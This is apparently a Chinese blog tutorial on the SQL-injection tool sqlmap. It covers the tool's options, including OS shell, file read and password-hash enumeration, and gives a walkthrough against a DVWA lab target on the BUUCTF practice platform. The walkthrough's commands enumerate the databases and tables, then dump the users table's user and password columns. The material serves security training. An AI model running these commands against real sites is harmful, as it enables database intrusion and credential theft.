Tool篇 - Sqlmap
sqlmap使用指南
什么是sqlmap?
Sqlmap是一款由Python语言编写的开源sql注入检测、利用工具,它可以自动检测和利用sql注入漏洞,并且配备了强大的检测引擎,拥有丰富的特性这其中包括了指纹识别、对系统的控制、自动识别密码的散列格式并暴力破解等等,加之非常多的参数,是一款安全从业人员必备的工具。
支持五种类型的sql注入
- 布尔型
- 报错型
- 联合查询
- 多语句查询
- 基于时间的延迟注入
安装
- 本机 ==> sqlmap需要2.7版本
- kali虚拟机自带sqlmap
参数
|
参数
|
作用
|
|
h/--help
|
显示基本的帮助信息
|
|
-hh
|
显示详细的帮助信息
|
|
--version
|
显示sqlmap的版本号
|
|
-v 0-6
|
设置输出的详细度
|
|
-u
|
指定需要判断是否存在sql注入漏洞的URL
|
|
-d
|
直接连接到数据库
-d" mysql://用户名:密码@地址:端口/数据库名称"
|
|
-m
|
读取文本文件中的URL地址来判断是否存在sql注入
|
|
--threads
|
设置最大并发请求数
|
|
--timeout
|
设置等待超时的时间
|
|
--retries
|
设置重试的次数
|
|
-b,--banner
|
检测出数据库的版本信息
|
|
--current-user
|
检测数据库当前的用户名
|
|
--current-db
|
枚举出当前数据库名称
|
|
--is-dba
|
检测当前用户是否为数据库管理员
|
|
--users
|
枚举出所有数据库用户
|
|
--passwords
|
枚举出所有数据库用户的密码哈希
|
|
--privileges
|
枚举出数据库管理员的用户的权限
|
|
--roles
|
枚举数据库管理系统用户的系统
|
|
--dbs
|
枚举出所有的数据库
|
|
--tables
|
枚举出所有数据库中所有的表
|
|
--columns
|
枚举出所有数据库表中的列名
|
|
--dump
|
下载数据库中的表项
|
|
--dump-all
|
下载所有的数据库表中的条目
|
|
--search
|
搜索列,表和/或数据库名称
|
|
-D
|
指定要进行枚举的指定数据库名
|
|
-T
|
指定要进行枚举的指定数据库表
|
|
-C
|
指定要进行枚举的数据库列
|
|
-U
|
用来进行枚举的数据库用户
|
|
--exclude-sysdbs
|
枚举表时排除系统数据库
|
|
--sql-query=
|
指定要执行的SQL语句
|
|
--sql-shell
|
提示交互式SQL的shell
|
|
--os-cmd=
|
指定需要执行操作系统命令
|
|
--os-shell
|
交互式的操作系统的shell
|
|
--priv-esc
|
数据库进程用户权限提升
|
|
--file-read=’’
|
访问操作系统内的文件
|
|
--file-write=’’
|
编辑操作系统内的文件
|
|
--update
|
更新SQLMAP
|
|
--batch
|
自动选择yes
|
|
--output-dir=
|
自定义输出目录路径
|
|
--smart
|
启发式判断
|
sqlmap扫描漏洞实例
以下我使用的是buuctf中的DVWA靶场
DVWA在线靶场:默认账号密码 admin/password
在kali中打开sql(最好使用root权限叭,防止报错)
//这里得加上cookie,来模拟登录 sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch --dbs -u 查询是否存在sql注入 --batch 默认设置 --dbs 查看数据库
返回结果如下:
sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa --tables --batch 默认登陆 -D 指定数据库枚举 --table 查看该数据库中的表
返回结果如下:
sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa -T users --columns --batch 默认设置 -D 指定数据库 -T 指定表格 --columns 输出列表
返回如下:
看见user和password这种敏感内容,大家可以多留意一下。
sqlmap -u "http://f3f6c945-164c-4e93-bc62-0849798f4f95.node4.buuoj.cn:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=15k68da31t1um8jvijga5rp4n0; security=low" --batch -D dvwa -T users -C "user,password" --dump -C 展示用于枚举的数据库行列 --dump 下载数据库表项
后话
在网上师傅那里看见,sqlmap 会将每次的注入结果存放在 ~/.sqlmap/out 文件夹内
不过我也没在kali里面找到这个文件qwq

浙公网安备 33010602011771号